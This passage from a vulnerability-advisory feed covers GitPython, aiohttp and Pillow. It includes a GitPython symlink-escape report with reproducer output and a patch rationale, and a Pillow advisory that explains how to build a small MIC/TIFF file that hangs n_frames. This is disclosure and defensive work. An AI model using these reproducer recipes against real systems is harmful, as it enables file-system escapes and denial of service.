print(json.dumps(result, indent=2, sort_keys=True))\n        parent.close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path 'vendor/module' contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n    raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves `Submodule.abspath`'s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.","references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2232"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111063","published":"2026-10-21T09:14:41Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111063"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111064","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111065","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111066","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111748","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111749","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-111750","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112390","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-22hg-r758-rrw9","CVE-2026-112390","BIT-pillow-2026-112390"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Infinite loop in MIC n_frames when the embedded TIFF","details":"```\n============================================================================\nInfinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs\nLocation: src/PIL/MicImagePlugin.py:86  in MicImageFile.tell()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.\n\nThe file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress:\n\n- `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index.\n- `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`.\n\nAs a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.\n\n## Details\n\n`MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever.\n\nA 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is\n\n```\n  File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup\n  File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek\n  File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames\n```\n\nand instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`.\n\nThe loop, `src/PIL/TiffImagePlugin.py:1212`:\n\n```python\n    @property\n    def n_frames(self) -> int:\n        current_n_frames = self._n_frames\n        if current_n_frames is None:\n            current = self.tell()\n            self._seek(len(self._frame_pos))\n            while self._n_frames is None:\n                self._seek(self.tell() + 1)      # 1219\n            self.seek(current)\n```\n\nand the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`:\n\n```python\n    def seek(self, frame: int) -> None:\n        …\n        self.fp = self.ole.openstream(filename)\n        TiffImagePlugin.TiffImageFile._open(self)   # 82: resets _n_frames to None\n        self.frame = frame\n\n    def tell(self) -> int:\n        return self.frame                            # 87: OLE stream index, not TIFF __frame\n```\n\nFor a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end.\n\nFor a MIC file, `Image.open` → `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` → `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded — IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are.\n\n`Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`.\n\nA side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` — visible with `save_all=True`.\n\n## Impact\n\nAny application that lets Pillow open an uploaded file and then reads `im.n_frames` — the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) > 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` — can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`.\n\nIt builds two things in code:\n\n- `tiff(n)`: an `n`-page TIFF of 4×4 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0.\n- `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes.\n\nIt runs three inputs, each in its own child process with a hard 20-second kill:\n\n1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`.\n2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`.\n3. attack: the same MIC container wrapping the 3-page TIFF.\n\nThe timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop.\n\nThe script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`:\n\n```diff\n         TiffImagePlugin.TiffImageFile._open(self)\n \n+        # TiffImageFile._open() resets the frame count to that of the\n+        # embedded TIFF stream, but the frames of an MIC file are its streams\n+        self._n_frames = len(self.images)\n+        self.is_animated = self._n_frames > 1\n+\n         self.frame = frame\n```\n\nDoing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69–70 of `_open` are kept: the initial `seek(0)` → `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`.\n\nThe patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`.\n\n## The patch\n\nRestore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever\n\nApplies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.\n\n```diff\ndiff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py\nindex f8cf3a76f..2bb0109ce 100644\n--- a/src/PIL/MicImagePlugin.py\n+++ b/src/PIL/MicImagePlugin.py\n@@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile):\n \n         